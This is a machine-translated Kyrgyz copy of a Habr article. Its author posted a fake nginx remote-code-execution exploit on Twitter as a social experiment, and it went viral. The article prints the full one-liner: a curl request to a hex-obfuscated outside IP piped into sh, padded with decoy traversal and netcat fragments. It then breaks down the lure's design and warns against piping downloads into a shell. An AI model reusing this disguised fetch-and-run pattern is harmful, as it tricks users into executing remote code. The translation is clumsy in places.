Жасалма nginx эксплуатациясы менен социалдык эксперименттин ийгилиги

Эскертүү. котормо.: жазуучу 1-июнда жарыяланган оригиналдуу нота маалыматтык коопсуздукка кызыккандар арасында эксперимент жүргүзүүнү чечти. Бул үчүн ал веб-сервердеги ачылбаган алсыздык үчүн фейк эксплойт даярдап, аны Twitter баракчасына жайгаштырган. Анын божомолдору - коддон ачык-айкын алдамчылыкты көрө турган адистер тарабынан дароо ачыкка чыгуу - ишке ашкан жок... Алар бардык күтүүлөрдөн ашып, тескери багытта: твит көптөгөн адамдардын колдоосуна ээ болду, бирок аларды колдобогон. анын мазмунун текшерүү.

Жасалма nginx эксплуатациясы менен социалдык эксперименттин ийгилиги

TL; DR: Эч кандай шартта sh же bash ичинде файл түтүктөрүн колдонбоңуз. Бул сиздин компьютериңизди башкарууну жоготуунун эң сонун жолу.

Мен сиздер менен 31-майда түзүлгөн PoC күлкүлүү эксплойт жөнүндө кыскача окуяны бөлүшкүм келет. Ал келген кабарларга дароо жооп кайтарды Алиса Эсаге Шевченко, мүчө Zero Day демилгеси (ZDI), NGINXтин RCEге (алыстан коддун аткарылышына) алып келген алсыздыгы тууралуу маалымат жакында ачылат. NGINX көптөгөн веб-сайттарга күч бергендиктен, жаңылыктар жардыруу болушу керек. Бирок “жооптуу түрдө ачыкка чыгаруу” процессинин кечеңдетилгендигинен улам болгон окуянын чоо-жайы белгисиз болгон - бул стандарттуу ZDI процедурасы.

Жасалма nginx эксплуатациясы менен социалдык эксперименттин ийгилиги
Tweet NGINXтин аялуулугун ачуу жөнүндө

Керлдеги жаңы бүдөмүк техниканын үстүндө иштеп бүтүп, мен түпнуска твиттен цитата келтирдим жана табылган кемчиликти пайдаланган коддун бир саптан турган “иштеп жаткан PoCти сыртка чыгардым”. Албетте, бул таптакыр болбогон нерсе болчу. Мен дароо эле ачыкка чыгам деп ойлогом, эң жакшысы мен бир нече ретвиттерди алам деп ойлогом (оо, жакшы).

Жасалма nginx эксплуатациясы менен социалдык эксперименттин ийгилиги
Tweet жасалма эксплуатация менен

Бирок, андан ары эмне болгонун элестете алган жокмун. Менин твиттеримдин популярдуулугу кескин өстү. Таң калыштуусу, учурда (Москва убактысы боюнча 15-июнь 00:1) бул фейк экенин түшүнгөн адамдар аз. Көптөгөн адамдар аны такыр текшербестен retweet кылышат (ал чыгарган сонун ASCII графикасына суктануу мындай турсун).

Жасалма nginx эксплуатациясы менен социалдык эксперименттин ийгилиги
Карагылачы кандай сулуу!

Бул илмектердин жана түстөрдүн баары сонун болгону менен, адамдар аларды көрүү үчүн машинасында кодду иштетиши керек болчу. Бактыга жараша, браузерлер дал ушундай иштешет жана мен чындап эле юридикалык кыйынчылыкка туш болгум келбегендиктен, менин сайтымда көмүлгөн код эч кандай кошумча кодду орнотууга же аткарууга аракет кылбай эле жаңырык чалууларды жасап жатты.

Кичинекей экскурсия: netspooky, днз, мен жана команданын башка жигиттери Thugcrowd Биз бир аздан бери curl буйруктарын бүдөмүк кылуунун ар кандай жолдору менен ойноп жатабыз, анткени ал сонун... жана биз геэкпиз. netspooky жана dnz мага абдан келечектүү көрүнгөн бир нече жаңы ыкмаларды ачышты. Мен көңүл ачууга кошулуп, айла-амалдардын баштыгына IP ондук конверсиясын кошууга аракет кылдым. Көрсө, IP да он алтылык форматка айландырылат. Мындан тышкары, curl жана башка NIX куралдарынын көпчүлүгү он алтылык IPдерди бактылуу жешет! Ошентип, бул жөн гана ынанымдуу жана коопсуз көрүнгөн буйрук сабын түзүү маселеси болгон. Акыр-аягы, мен муну чечтим:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Социалдык-электрондук инженерия (SEE) - жөн гана фишинг эмес

Коопсуздук жана таанышуу бул эксперименттин негизги бөлүгү болгон. Анын ийгилигине ошолор себепкер болду деп ойлойм. Буйрук сабы "127.0.0.1" (белгилүү localhost) шилтемеси менен коопсуздукту ачык билдирген. Localhost коопсуз деп эсептелет жана андагы маалыматтар компьютериңизден эч качан кетпейт.

Таанышуу эксперименттин экинчи негизги SEE компоненти болгон. Максаттуу аудитория биринчи кезекте компьютердик коопсуздуктун негиздери менен тааныш адамдардан тургандыктан, анын бөлүктөрү тааныш жана тааныш (демек коопсуз) болуп көрүнүү үчүн кодду түзүү маанилүү болгон. Эски эксплуатация концепцияларынын элементтерин алуу жана аларды адаттан тыш ыкма менен айкалыштыруу абдан ийгиликтүү болду.

Төмөндө бир-лайнер деталдуу талдоо болуп саналат. Бул тизмедеги бардыгы кийет косметикалык табияты, жана анын иш жүзүндөгү иштеши үчүн иш жүзүндө эч нерсе талап кылынбайт.

Кандай компоненттер чындап керек? Бул -gsS, -O 0x0238f06a, |sh жана веб-сервердин өзү. Веб-серверде эч кандай зыяндуу көрсөтмөлөр болгон эмес, жөн гана буйруктарды колдонуу менен ASCII графикасын тейлеген echo камтылган скриптте index.html. Колдонуучу сапка киргенде |sh ортосунда, index.html жүктөлгөн жана аткарылган. Бактыга жараша, веб-сервердин сакчыларынын эч кандай жаман ниети болгон эмес.

  • ../../../%00 — каталогдун чегинен чыгууну билдирет;
  • ngx_stream_module.so — кокус NGINX модулуна жол;
  • /bin/sh%00<'protocol:TCP' - Биз ишке киргизип жатабыз /bin/sh максаттуу машинада жана чыгарууну TCP каналына багыттоо;
  • -O 0x0238f06a#PLToffset - жашыруун ингредиент, толукталган #PLToffset, кандайдыр бир түрдө PLT камтылган эстутум офсет сыяктуу көрүнүү;
  • |sh; - дагы бир маанилүү фрагмент. Даректе жайгашкан чабуулчу веб-серверден келген кодду ишке ашыруу үчүн чыгарууну sh/bashга багыттообуз керек болчу. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat шилтеме кылган муляж /dev/tcp/localhostОшентип, баары кайра коопсуз көрүнөт. Чынында, ал эч нерсе кылбайт жана сулуулук үчүн линияга кирет.

Муну менен бир саптык скрипттин декоддоосу жана “социалдык-электрондук инженерия” (татаал фишинг) аспектилерин талкуулоо аяктайт.

Веб сервердин конфигурациясы жана каршы чаралар

Менин жазылуучуларымдын басымдуу көпчүлүгү infosec/хакерлер болгондуктан, мен веб-серверди алар тараптан "кызыкчылык" билдирүүлөрүнө бир аз туруштук берүүнү чечтим, жөн гана балдар бир нерсе кыла алышсын (жана бул кызыктуу болмок). жайгашуу). Эксперимент дагы эле уланып жаткандыктан, мен бул жерде бардык тузактарды тизмектеп отурбайм, бирок сервердин бир нече иштери бар:

  • Белгилүү бир социалдык тармактарда жайылтуу аракеттерин активдүү көзөмөлдөйт жана колдонуучуну шилтемени басууга үндөш үчүн ар кандай алдын ала көрүү эскиздерин алмаштырат.
  • Shell сценарийин көрсөтүүнүн ордуна Chrome/Mozilla/Safari/etc. Thugcrowd жарнамалык видеосуна багыттайт.
  • Интрузия/ачык хакерликтин айкын белгилерин байкап, андан кийин NSA серверлерине суроо-талаптарды багыттай баштайт (га!).
  • Троянды, ошондой эле BIOS руткиттерин колдонуучулар кадимки браузерден хостко кирген бардык компьютерлерге орнотот (тамаша!).

Жасалма nginx эксплуатациясы менен социалдык эксперименттин ийгилиги
Антимерлердин кичине бөлүгү

Бул учурда, менин жалгыз максатым Apache'тин кээ бир өзгөчөлүктөрүн, атап айтканда, суроо-талаптарды кайра багыттоонун сонун эрежелерин өздөштүрүү болчу жана мен ойлодум: эмне үчүн?

NGINX Exploit (чыныгы!)

жазылуу @alisaesage Твиттерде жана NGINXдеги өтө реалдуу алсыздыктарды жана эксплуатацияларды жоюу боюнча ZDIнин чоң ишине көз салыңыз. Алардын иши мени ар дайым кызыктырчу жана мен Алисага менин акылсыз твиттерим себеп болгон бардык эскертүүлөргө жана эскертмелерге чыдамкайлыгы үчүн ыраазымын. Бактыга жараша, ал жакшылык кылды: бул NGINX алсыздыктары, ошондой эле curlди кыянаттык менен пайдалануудан келип чыккан көйгөйлөр жөнүндө маалымдуулукту жогорулатууга жардам берди.

Source: www.habr.com

Комментарий кошуу